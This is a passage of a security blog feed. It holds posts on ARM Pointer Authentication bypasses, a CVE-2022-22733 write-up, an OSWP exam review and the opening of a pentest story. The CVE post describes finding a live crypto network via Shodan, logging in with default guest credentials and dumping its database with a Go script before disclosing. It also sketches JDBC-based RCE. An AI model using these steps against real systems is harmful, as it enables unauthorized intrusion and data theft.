  <li>If they do not match, an <strong>exception</strong> is triggered, halting the program.</li>
</ul>

<h3 id="pac-process-in-rop-mitigation"><strong>PAC Process in ROP Mitigation</strong></h3>

<p><img src="https://github.com/user-attachments/assets/ac6b71b1-cadd-4d28-9331-f40190d7f34e" alt="image" /></p>

<ol>
  <li><strong>Function Call (Signing Stage)</strong>:
    <ul>
      <li>The CPU saves the signed return address to the stack.</li>
      <li>The signed pointer looks like a regular memory address but includes a cryptographic signature in the high-order bits.</li>
    </ul>
  </li>
  <li><strong>Function Return (Verification Stage)</strong>:
    <ul>
      <li>The CPU loads the signed return address from the stack.</li>
      <li>The PAC is validated against the context and the secret key.</li>
      <li>If the validation fails, the CPU raises an exception.</li>
    </ul>
  </li>
</ol>

<h2 id="limitations-and-potential-bypass-techniques">Limitations and Potential Bypass Techniques</h2>

<p>Despite its robust design, Pointer Authentication (PAC) has certain limitations that sophisticated attackers can potentially exploit. These limitations revolve around the inherent challenges of cryptographic systems and the implementation choices made for performance and compatibility. Below is a detailed analysis of known bypass methods, challenges, and the real-world feasibility of these attacks.</p>

<h3 id="1-brute-forcing-pac-values-with-small-pac-sizes"><strong>1. Brute-Forcing PAC Values with Small PAC Sizes</strong></h3>

<p>One of the primary limitations of PAC is the size of the <strong>Pointer Authentication Code (PAC)</strong>. Depending on the system configuration, the PAC may be as small as <strong>7 to 16 bits</strong>. A small PAC size implies that there are relatively few possible PAC values, making brute-forcing theoretically possible.</p>

<ol>
  <li>The attacker modifies the pointer and guesses different PAC values.</li>
  <li>They repeatedly try to execute the program with different PACs until a valid PAC is found.</li>
  <li>With a small PAC size (e.g., 7 bits), there are <code class="language-plaintext highlighter-rouge">2^7 = 128</code> possible values, which may seem trivial to brute-force.</li>
</ol>

<h3 id="2-pointer-substitution-attacks"><strong>2. Pointer Substitution Attacks</strong></h3>

<p>In a pointer substitution attack, the attacker <strong>replaces a valid PAC-protected pointer</strong> with another <strong>valid PAC-protected pointer</strong> from the same or different context. Since the substituted pointer already has a valid PAC, it may pass verification.</p>

<ol>
  <li>The attacker finds a valid signed pointer in memory (e.g., a signed return address).</li>
  <li>They replace a different pointer (e.g., a function pointer) with this valid pointer.</li>
  <li>The program dereferences the substituted pointer, potentially leading to unintended behavior.</li>
</ol>

<p>Imagine a program where two functions have PAC-protected return addresses:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">func_A</code>: Signed return address <code class="language-plaintext highlighter-rouge">0x12347ffeec38</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">func_B</code>: Signed return address <code class="language-plaintext highlighter-rouge">0x56787fffabc0</code>.</li>
</ul>

<h1 id="challenges"><strong>Challenges</strong></h1>
<p>Memory disclosure vulnerabilities allow attackers to <strong>leak sensitive data</strong> from memory, including PAC-protected pointers and PAC keys. If an attacker can leak:</p>
<ul>
  <li>A valid PAC-protected pointer and its context, they can potentially reuse the pointer for exploitation.</li>
  <li>The PAC keys stored in hardware registers, they can generate valid PACs, bypassing the protection entirely.</li>
</ul>

<h1 id="conclusion">Conclusion</h1>
<p>Pointer Authentication (PAC) is a powerful and efficient hardware-based defense mechanism designed to enhance control flow integrity and mitigate memory corruption attacks, such as Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP). By embedding cryptographic signatures (Pointer Authentication Codes) directly into pointers and verifying them before use, PAC provides robust protection for return addresses, function pointers, and other sensitive data. Throughout this blog post, we have explored the fundamental components of PAC, including its cryptographic foundation (QARMA algorithm), key instructions (<code class="language-plaintext highlighter-rouge">PACIA</code>, <code class="language-plaintext highlighter-rouge">AUTIA</code>, <code class="language-plaintext highlighter-rouge">XPAC</code>, <code class="language-plaintext highlighter-rouge">RETA</code>), and real-world implementations for stack and function pointer protection. PAC strengthens system security by binding pointers to their specific context (e.g., the stack pointer or program counter), making it infeasible for attackers to forge or manipulate pointers without triggering an exception.
However, PAC is not without its limitations. Brute-forcing PAC values becomes theoretically possible when small PAC sizes (e.g., 7 bits) are used, although practical exploitation is limited by hardware constraints and frequent program crashes. Additionally, pointer substitution attacks and memory disclosure vulnerabilities remain challenges that require additional layers of defense, such as Address Space Layout Randomization (ASLR), secure key management, and frequent re-randomization of PAC keys.</p>

<p>In summary, PAC represents a significant advancement in memory safety and control flow protection. When combined with other security mechanisms, such as ASLR and stack canaries, PAC can effectively mitigate a wide range of memory corruption exploits. Despite its limitations, PAC sets a high bar for attackers, making exploitation significantly more difficult and costly. As hardware security continues to evolve, further improvements to PAC and its integration with software defenses will help fortify modern systems against sophisticated threats.</p>

<h1 id="references">References</h1>
<ul>
  <li>https://eprint.iacr.org/2016/444.pdf</li>
  <li>https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf</li>
  <li>https://developer.arm.com/documentation/109576/0100/Introduction</li>
  <li>https://www.youtube.com/watch?v=UD1KKHyPnZ4</li>
  <li>https://www.youtube.com/watch?v=feU3H5u8hig</li>
  <li>https://www.youtube.com/watch?v=yzvHzfp2APc</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="Exploit Development" /><category term="Exploit Development" /><category term="ROP" /><category term="ROPGadget" /><category term="Exploitation" /><category term="zero day" /><category term="0day" /><category term="cve" /><summary type="html"><![CDATA[A blog on Pointer Authentication and How it mitigates ROP.]]></summary></entry><entry><title type="html">CVE Analysis: Hacking a Crypto Network for Profit</title><link href="https://github.com/general/hacking_crypto_network/" rel="alternate" type="text/html" title="CVE Analysis: Hacking a Crypto Network for Profit" /><published>2024-08-27T00:00:00+00:00</published><updated>2024-08-27T00:00:00+00:00</updated><id>https://github.com/general/hacking_crypto_network</id><content type="html" xml:base="https://github.com/general/hacking_crypto_network/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Welcome, everyone. In this blog post, I will share the story of how, in June 2023, I successfully dumped the database of a crypto network, ultimately leading to the ability to achieve remote code execution. This was accomplished during my research and analysis of a CVE affecting one of Apache’s products.</p>

<h1 id="about-the-cve">About the CVE</h1>

<p><code class="language-plaintext highlighter-rouge">CVE-2022-22733</code> is a critical security vulnerability affecting Apache ShardingSphere ElasticJob-UI, particularly in versions <code class="language-plaintext highlighter-rouge">3.0.0</code> and earlier. The vulnerability occurs within the <code class="language-plaintext highlighter-rouge">UserAuthenticationService</code> class, where the <code class="language-plaintext highlighter-rouge">getToken()</code> method returns a <code class="language-plaintext highlighter-rouge">Base64</code> encoded string representing the entire <code class="language-plaintext highlighter-rouge">UserAuthenticationService</code> object. This encoded token includes sensitive information such as the <code class="language-plaintext highlighter-rouge">root</code> and <code class="language-plaintext highlighter-rouge">guest</code> usernames &amp; passwords. Which when we  decode it, We can find the <code class="language-plaintext highlighter-rouge">root</code> credentials, Which Allows to escalate privileges to the highest level within the application. You can read the full analysis from <a href="https://zeyadazima.com/vulnerability/cve%20analysis/CVE_2022_22733/">here</a>.</p>

<p><img src="https://github.com/user-attachments/assets/417cea0e-5452-4d92-90da-b3b3f29f5d57" alt="image" /></p>

<h1 id="identify-targets">Identify Targets</h1>

<p>When identifying targets that use a particular product vulnerable to an exploit, internet search engines are invaluable tools. They help us locate instances of the application running online, enabling us to test our exploit.</p>

<h2 id="search-engines">Search Engines</h2>

<p>For this task, I utilized <code class="language-plaintext highlighter-rouge">Shodan</code> and <code class="language-plaintext highlighter-rouge">Zoomeye</code>. Although I didn’t find many targets, I encountered a recurring target in both <code class="language-plaintext highlighter-rouge">Shodan</code> and <code class="language-plaintext highlighter-rouge">Zoomeye</code>:</p>

<ul>
  <li><strong>Zoomeye</strong>:</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/9ca7ed99-0398-47ee-a7e7-dfa3cc25f42d" alt="image" /></p>

<ul>
  <li><strong>Shodan</strong>:</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/a97caafd-4579-4207-ae04-3c482106898d" alt="image" /></p>

<blockquote>
  <p><strong>Query Used</strong>: <code class="language-plaintext highlighter-rouge">title:"ShardingSphere"</code></p>
</blockquote>

<h1 id="exploit-the-cve">Exploit the CVE</h1>

<p>After identifying a target, the first step was to log in using the guest account (<code class="language-plaintext highlighter-rouge">guest:guest</code>):</p>

<p><img src="https://github.com/user-attachments/assets/1142a2ea-0ff4-41b4-a945-74dac524c407" alt="IFu8FVvrjhyMLZCrdXgYZA5BUdUoJRzwwCSPF0ry" /></p>

<p>Login was successful!</p>

<h2 id="credentials-on-the-dashboard">Credentials on the Dashboard</h2>

<p>Before doing anything else, I explored the configurations accessible with the guest account. I wanted to check if the target was vulnerable and gain a complete understanding of the setup. While navigating the <code class="language-plaintext highlighter-rouge">Event Trace</code> data source tab, I discovered a <code class="language-plaintext highlighter-rouge">MYSQL</code> database data source, complete with the username and password:</p>

<p><img src="https://github.com/user-attachments/assets/3fa471f1-f440-450d-ade4-726e16e92813" alt="image" /></p>

<p>I tested these credentials and was able to connect to the database successfully.</p>

<h2 id="dump-the-database">Dump the Database</h2>

<p>Once connected to the <code class="language-plaintext highlighter-rouge">MYSQL</code> database, I proceeded to dump the tables to examine the data:</p>

<p><img src="https://github.com/user-attachments/assets/adfa31f0-f204-4b64-9d85-0497dbdfe6e6" alt="image" /></p>

<p>From the data, I identified information that allowed me to contact the company. I informed them of the vulnerability, as I realized I could manipulate the data. In response, they launched a bug bounty program on one of the <code class="language-plaintext highlighter-rouge">Web3</code> platforms.</p>

<p>I showed them a <code class="language-plaintext highlighter-rouge">go</code> code, Which I wrote to dump the whole database:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
	<span class="s">"database/sql"</span>
	<span class="s">"fmt"</span>
	<span class="s">"os"</span>
	<span class="s">"time"</span>

	<span class="n">_</span> <span class="s">"github.com/go-sql-driver/mysql"</span>
<span class="p">)</span>

<span class="k">const</span> <span class="p">(</span>
	<span class="n">hostname</span>     <span class="o">=</span> <span class="s">"server_ip"</span>
	<span class="n">username</span>     <span class="o">=</span> <span class="s">"username"</span>
	<span class="n">password</span>     <span class="o">=</span> <span class="s">"password"</span>
	<span class="n">databaseName</span> <span class="o">=</span> <span class="s">"datyabase"</span>
<span class="p">)</span>

<span class="k">var</span> <span class="n">tablesToDump</span> <span class="o">=</span> <span class="p">[]</span><span class="kt">string</span><span class="p">{</span>
	<span class="s">"tables...."</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">db</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">sql</span><span class="o">.</span><span class="n">Open</span><span class="p">(</span><span class="s">"mysql"</span><span class="p">,</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s:%s@tcp(%s)/%s"</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">hostname</span><span class="p">,</span> <span class="n">databaseName</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error connecting to MySQL server: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>
	<span class="k">defer</span> <span class="n">db</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

	<span class="n">backupDir</span> <span class="o">:=</span> <span class="s">"backup"</span>
	<span class="k">if</span> <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">os</span><span class="o">.</span><span class="n">Stat</span><span class="p">(</span><span class="n">backupDir</span><span class="p">);</span> <span class="n">os</span><span class="o">.</span><span class="n">IsNotExist</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">os</span><span class="o">.</span><span class="n">Mkdir</span><span class="p">(</span><span class="n">backupDir</span><span class="p">,</span> <span class="m">0755</span><span class="p">)</span>
	<span class="p">}</span>


	<span class="n">timestamp</span> <span class="o">:=</span> <span class="n">time</span><span class="o">.</span><span class="n">Now</span><span class="p">()</span><span class="o">.</span><span class="n">Format</span><span class="p">(</span><span class="s">"2006-01-02_15-04-05"</span><span class="p">)</span>


	<span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">table</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">tablesToDump</span> <span class="p">{</span>
		<span class="n">backupFile</span> <span class="o">:=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s/%s_%s.txt"</span><span class="p">,</span> <span class="n">backupDir</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">)</span>


		<span class="n">file</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">os</span><span class="o">.</span><span class="n">Create</span><span class="p">(</span><span class="n">backupFile</span><span class="p">)</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error creating backup file for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
			<span class="k">continue</span>
		<span class="p">}</span>
		<span class="k">defer</span> <span class="n">file</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

		<span class="n">rows</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">db</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"SELECT * FROM %s"</span><span class="p">,</span> <span class="n">table</span><span class="p">))</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error executing query for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
			<span class="k">continue</span>
		<span class="p">}</span>
		<span class="k">defer</span> <span class="n">rows</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

		<span class="k">for</span> <span class="n">rows</span><span class="o">.</span><span class="n">Next</span><span class="p">()</span> <span class="p">{</span>
			<span class="n">columns</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">rows</span><span class="o">.</span><span class="n">Columns</span><span class="p">()</span>
			<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
				<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error retrieving column names for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
				<span class="k">break</span>
			<span class="p">}</span>

			<span class="n">values</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="k">interface</span><span class="p">{},</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">))</span>
			<span class="n">columnPointers</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="k">interface</span><span class="p">{},</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">))</span>
			<span class="k">for</span> <span class="n">i</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">values</span> <span class="p">{</span>
				<span class="n">columnPointers</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">values</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
			<span class="p">}</span>

			<span class="n">err</span> <span class="o">=</span> <span class="n">rows</span><span class="o">.</span><span class="n">Scan</span><span class="p">(</span><span class="n">columnPointers</span><span class="o">...</span><span class="p">)</span>
			<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
				<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error scanning row data for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
				<span class="k">break</span>
			<span class="p">}</span>

			<span class="n">rowData</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="kt">string</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">))</span>
			<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">v</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">values</span> <span class="p">{</span>
				<span class="k">if</span> <span class="n">v</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
					<span class="n">byteValue</span><span class="p">,</span> <span class="n">ok</span> <span class="o">:=</span> <span class="n">v</span><span class="o">.</span><span class="p">([]</span><span class="kt">byte</span><span class="p">)</span>
					<span class="k">if</span> <span class="n">ok</span> <span class="p">{</span>
						<span class="n">rowData</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="kt">string</span><span class="p">(</span><span class="n">byteValue</span><span class="p">)</span>
					<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
						<span class="n">rowData</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%v"</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
					<span class="p">}</span>
				<span class="p">}</span>
			<span class="p">}</span>

			<span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">WriteString</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">rowData</span><span class="p">))</span>
			<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
				<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error writing row data for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
				<span class="k">break</span>
			<span class="p">}</span>
		<span class="p">}</span>

		<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Backup created for table %s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">backupFile</span><span class="p">)</span>
	<span class="p">}</span>

	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Backup completed for all specified tables"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Note</strong>: Always inform the company before taking any further steps. Unauthorized actions are unethical and potentially illegal.</p>
</blockquote>

<h1 id="going-further">Going Further</h1>

<p>In CVE-2022-22733, after obtaining root credentials through an initial privilege escalation vulnerability, You can exploit the <code class="language-plaintext highlighter-rouge">JDBC</code> interface to achieve Remote Code Execution (<code class="language-plaintext highlighter-rouge">RCE</code>). By Configuring a malicious data source using the <code class="language-plaintext highlighter-rouge">H2</code> database driver, crafting a <code class="language-plaintext highlighter-rouge">JDBC</code> URL that points to a script hosted on a remote server. This <code class="language-plaintext highlighter-rouge">URL</code> includes commands to execute the script upon database initialization. The script, often containing commands to exploit the system’s shell (like running <code class="language-plaintext highlighter-rouge">calc.exe</code>), is executed when the connection is tested, leading to full <code class="language-plaintext highlighter-rouge">RCE</code> on the target server. But As It’s aganist law cause we can’t perform any actions like that, But we still have the ability to go into the server.</p>

<p><img src="https://github.com/user-attachments/assets/58e1be44-9f9b-4799-856c-23a3427ebdb3" alt="image" /></p>

<blockquote>
  <p>You ca Read my exploitation part from the analysis for more information from <a href="https://zeyadazima.com/vulnerability/cve%20analysis/CVE_2022_22733_exploit/">here</a>.</p>
</blockquote>

<h1 id="conclusion">Conclusion</h1>

<p><img src="https://github.com/user-attachments/assets/e6bb7b9c-b736-422a-9afa-2000dda8aead" alt="image" /></p>

<p>By exploiting this vulnerability, I was able to gain access and subsequently connect to the target’s database. After successfully dumping the database, I responsibly disclosed the findings to the company, leading to the initiation of a bug bounty program on a <code class="language-plaintext highlighter-rouge">Web3</code> platform. Although through the <code class="language-plaintext highlighter-rouge">JDBC</code> interface, it can be abused, Which could lead to Remote Code Execution (<code class="language-plaintext highlighter-rouge">RCE</code>).</p>]]></content><author><name>Zeyad Azima</name></author><category term="General" /><category term="General" /><category term="pentest" /><category term="pentesting" /><category term="web3" /><category term="JDBC" /><category term="bypass" /><category term="mysql" /><category term="exploitation" /><category term="wallet" /><category term="cve" /><category term="java" /><category term="apache" /><summary type="html"><![CDATA[How Analyzing a simple CVE led me to takeover a Crypto Network.]]></summary></entry><entry><title type="html">OSWP Review &amp;amp; Guide</title><link href="https://github.com/certificates/oswprg/" rel="alternate" type="text/html" title="OSWP Review &amp;amp; Guide" /><published>2024-08-24T00:00:00+00:00</published><updated>2024-08-24T00:00:00+00:00</updated><id>https://github.com/certificates/oswprg</id><content type="html" xml:base="https://github.com/certificates/oswprg/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Welcome to this blog post! I will be sharing my experience with the <code class="language-plaintext highlighter-rouge">OSWP</code> (Offensive Security Wireless Professional) exam and providing a study guide for wireless (Wi-Fi) penetration testing and the <code class="language-plaintext highlighter-rouge">OSWP</code> certification.</p>

<h2 id="back-in-time">Back in Time</h2>
<p>I have been experimenting with Wi-Fi hacking since middle school. Over the years, I learned about <code class="language-plaintext highlighter-rouge">IEEE</code> concepts and how Wi-Fi works. I used to create access points (APs) and hack them for practice. The last time I did anything related to wireless penetration testing was during one of my projects in 2022, so it had been a while. However, I was familiar with the basics, and with some practice, I was able to get back up to speed.</p>

<h1 id="exam-review">Exam Review</h1>
<p>The exam duration is <code class="language-plaintext highlighter-rouge">3</code> hours and <code class="language-plaintext highlighter-rouge">45</code> minutes, which might seem short, but it’s more than enough time to complete the tasks. The exam provides you with <code class="language-plaintext highlighter-rouge">3</code> different Wi-Fi APs, each using a different security method, such as <code class="language-plaintext highlighter-rouge">WPA-PSK</code>, <code class="language-plaintext highlighter-rouge">WPS</code>, <code class="language-plaintext highlighter-rouge">WEP</code>, or <code class="language-plaintext highlighter-rouge">WPA-Enterprise</code>. You are required to solve one mandatory task and another one of your choice.</p>

<p>When the exam started, I faced several technical issues—the APs were not showing up, and sometimes there were no clients on the APs. I had to contact support, and after some back-and-forth, the issues were resolved. The actual time it took me to solve the exam was around <code class="language-plaintext highlighter-rouge">1</code> hour, but with the technical difficulties, it extended to over <code class="language-plaintext highlighter-rouge">4</code> hours. Fortunately, the support team provided additional time to compensate for the troubleshooting. After completing the exam, it took me a few more hours to finish and submit the report. On <code class="language-plaintext highlighter-rouge">July 5, 2024</code>, I received my exam results:</p>

<p><img src="https://github.com/user-attachments/assets/67f81ab4-c377-43e2-90e9-5aca8eaeb4a2" alt="image" /></p>

<h1 id="study-guide">Study Guide</h1>
<p>As for studying, I didn’t go through the course material since I already had prior experience with wireless penetration testing. All I did was practice and familiarize myself with Wi-Fi pentesting again. However, I wasn’t familiar with <code class="language-plaintext highlighter-rouge">WPA-Enterprise</code>, so I studied and practiced it specifically.</p>

<p>The first thing you need to understand is <code class="language-plaintext highlighter-rouge">IEEE 802.11</code>. You can learn all about it from the <a href="https://ieeexplore.ieee.org/browse/standards/get-program/page/series?id=68">IEEE</a>. Next, get acquainted with wireless fundamentals, which you can find <a href="https://www.youtube.com/watch?v=zuYiktLqNYQ">here</a>.</p>

<p>For Wi-Fi security and encryption, these resources are helpful:</p>
<ul>
  <li><a href="https://www.youtube.com/watch?v=O53RfZ4oojY">YouTube - Wi-Fi Security and Encryption Overview</a></li>
  <li><a href="https://www.youtube.com/watch?v=tk4cC42N2sE">YouTube - Wireless Security Protocols</a></li>
  <li><a href="https://www.youtube.com/watch?v=g6vz-lfd-GQ">YouTube - Introduction to Wi-Fi Encryption</a></li>
  <li><a href="https://www.youtube.com/watch?v=TOxch8ZBi2I">YouTube - Advanced Wi-Fi Security</a></li>
</ul>

<p>Next, familiarize yourself with the wireless tools on Linux:</p>
<ul>
  <li><a href="https://www.linuxfromscratch.org/blfs/view/git/basicnet/wireless_tools.html">Linux from Scratch - Wireless Tools</a></li>
  <li><a href="https://hewlettpackard.github.io/wireless-tools/Tools.html#docu">Hewlett Packard - Wireless Tools Documentation</a></li>
  <li><a href="https://linuxlink.timesys.com/docs/wiki/engineering/HOWTO_Use_Wireless_Networking">Timesys - Wireless Networking</a></li>
</ul>

<p>Following that, learn how to use Wireshark specifically for wireless:</p>
<ul>
  <li><a href="https://wiki.wireshark.org/CaptureSetup/WLAN">Wireshark WLAN Capture Setup</a></li>
  <li><a href="https://www.youtube.com/watch?v=p3Ik_pcwp9c">YouTube - Wireshark for Wireless</a></li>
</ul>

<p>Then, dive into <code class="language-plaintext highlighter-rouge">aircrack-ng</code> tools and learn how to attack networks:</p>
<ul>
  <li><a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi">HackTricks - Pentesting Wi-Fi</a></li>
  <li><a href="https://medium.com/@verylazytech/penetration-testing-wifi-networks-a-comprehensive-guide-1e53831dbbd4">Medium - Comprehensive Guide to Wi-Fi Pentesting</a></li>
  <li><a href="https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet">GitHub - Wi-Fi Pentesting Cheat Sheet</a></li>
  <li><a href="https://www.youtube.com/watch?v=WKTXI4Dyxak">YouTube - Aircrack-ng Tutorial</a></li>
  <li><a href="https://github.com/ricardojoserf/wifi-pentesting-guide">GitHub - Wi-Fi Pentesting Guide</a></li>
  <li><a href="https://www.bettercap.org/modules/wifi/">Bettercap - Wi-Fi Modules</a></li>
</ul>

<h2 id="practicing">Practicing</h2>
<p>For practicing, you don’t need to buy any wireless cards or additional equipment. You can use <a href="https://github.com/r4ulcl/WiFiChallengeLab-docker">WiFi Challenge Lab</a>, which offers a variety of challenges for Wi-Fi networks. It’s perfect for practicing wireless penetration testing in general. You can also follow the walkthrough <a href="https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/">here</a>.</p>
<ul>
  <li><a href="https://wifichallengelab.com">WiFi Challenge Lab</a></li>
</ul>

<h1 id="notes--tips">Notes &amp; Tips</h1>
<p>When starting the exam, solve the <code class="language-plaintext highlighter-rouge">AP</code> that is available first. Once finished, reset the next challenge you want to solve through the exam panel to avoid any issues with the <code class="language-plaintext highlighter-rouge">APs</code>. You can also refer to the <a href="https://zeyadazima.com/notes/oswplaybook/">OSWP PlayBook</a>, which is an excellent resource to help you pass the exam and improve your skills in attacking wireless networks during a test. Make sure to have a backup for the machine/device you are using, Also make sure that your ISP supports <code class="language-plaintext highlighter-rouge">Openvpn</code>, Cause some countries blocking it. Finally, Be calm &amp; Don’t panic!.</p>

<h1 id="conclusion">Conclusion</h1>
<p>In conclusion, the <code class="language-plaintext highlighter-rouge">OSWP</code> exam is straightforward and to the point. If you encounter any issues, don’t hesitate to contact support through the chat feature. With proper preparation, especially focusing on the areas you are less familiar with, and a solid understanding of the tools and techniques involved, passing the exam is highly achievable. Remember to take your time, stay calm, and approach each task methodically.</p>]]></content><author><name>Zeyad Azima</name></author><category term="Certificates" /><category term="Certificates" /><category term="wifi" /><category term="wireless" /><category term="Exploitation" /><category term="wpa" /><category term="wps" /><category term="wep" /><summary type="html"><![CDATA[My OSWP Review and Guide.]]></summary></entry><entry><title type="html">Pentest: From Customer to Full Application Takeover</title><link href="https://github.com/general/fullapptakeover/" rel="alternate" type="text/html" title="Pentest: From Customer to Full Application Takeover" /><published>2024-08-24T00:00:00+00:00</published><updated>2024-08-24T00:00:00+00:00</updated><id>https://github.com/general/fullapptakeover</id><content type="html" xml:base="https://github.com/general/fullapptakeover/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Welcome everyone! In addition to my regular work, I take on some pentesting projects as a freelancer for various clients. Today, I’m excited to share a particularly interesting bug that started as a seemingly straightforward <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability but ultimately led to a full application takeover.</p>

<h1 id="application-overview">Application Overview</h1>
<p>The application in question is a financial solution platform. It includes a web dashboard used by high-privileged users, such as <code class="language-plaintext highlighter-rouge">admin</code>, and a mobile application designed for <code class="language-plaintext highlighter-rouge">customers</code>. The customers can only perform specific actions like signing up, viewing their personal and financial information, reporting issues, modifying their profiles, and more. The application’s user features are outlined as follows:</p>

<table>
  <thead>
    <tr>
      <th><strong>Feature</strong></th>
      <th><strong>Description</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>all notifications</strong></td>
      <td>View and manage all notifications generated by the application.</td>
    </tr>
    <tr>
      <td><strong>check incomplete applications</strong></td>
      <td>Review and track applications that are not fully completed.</td>
    </tr>
    <tr>
      <td><strong>Edit Profile</strong></td>
      <td>Allows users to modify their personal profile information within the application.</td>
    </tr>
    <tr>
      <td><strong>get Dashboard</strong></td>
      <td>Access the main dashboard, displaying an overview of important metrics and data.</td>
    </tr>
    <tr>
      <td><strong>Read Applications</strong></td>
      <td>Review and analyze submitted applications.</td>
    </tr>
    <tr>
      <td><strong>Submit Application</strong></td>
      <td>Submit new applications through the platform.</td>
    </tr>
    <tr>
      <td><strong>unRead Notifications</strong></td>
      <td>View notifications that have not been read yet.</td>
    </tr>
    <tr>
      <td><strong>update profile</strong></td>
